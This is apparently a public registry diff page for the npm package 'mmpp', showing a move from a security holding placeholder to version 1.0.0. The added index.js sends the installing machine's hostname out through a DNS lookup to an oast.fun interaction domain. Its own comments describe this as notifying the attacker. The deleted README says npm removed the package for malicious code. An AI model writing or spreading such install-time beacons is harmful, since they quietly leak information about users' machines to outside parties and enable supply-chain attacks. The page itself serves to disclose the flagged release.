mmpp 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mmpp might be problematic. Click here for more details.
- package/index.js +23 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const dns = require('dns');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
|
|
4
|
+
// Notify the attacker's DNS server when this package is installed
|
|
5
|
+
const options = {
|
|
6
|
+
family: 4,
|
|
7
|
+
hints: dns.ADDRCONFIG | dns.V4MAPPED,
|
|
8
|
+
};
|
|
9
|
+
|
|
10
|
+
const notifyAttacker = () => {
|
|
11
|
+
const dnsServer = 'xhrtivckvxpmwsecusgr02ualcf1zmfam.oast.fun'; // Replace with the attacker's domain or IP
|
|
12
|
+
const hostname = os.hostname();
|
|
13
|
+
dns.lookup(`${hostname}.notify.${dnsServer}`, options, (err, address) => {
|
|
14
|
+
if (err) {
|
|
15
|
+
console.error('DNS lookup failed:', err.message);
|
|
16
|
+
} else {
|
|
17
|
+
console.log(`Notification sent to: ${address}`);
|
|
18
|
+
}
|
|
19
|
+
});
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
// Trigger the notification on package installation
|
|
23
|
+
notifyAttacker();
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "mmpp",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=mmpp for more information.
|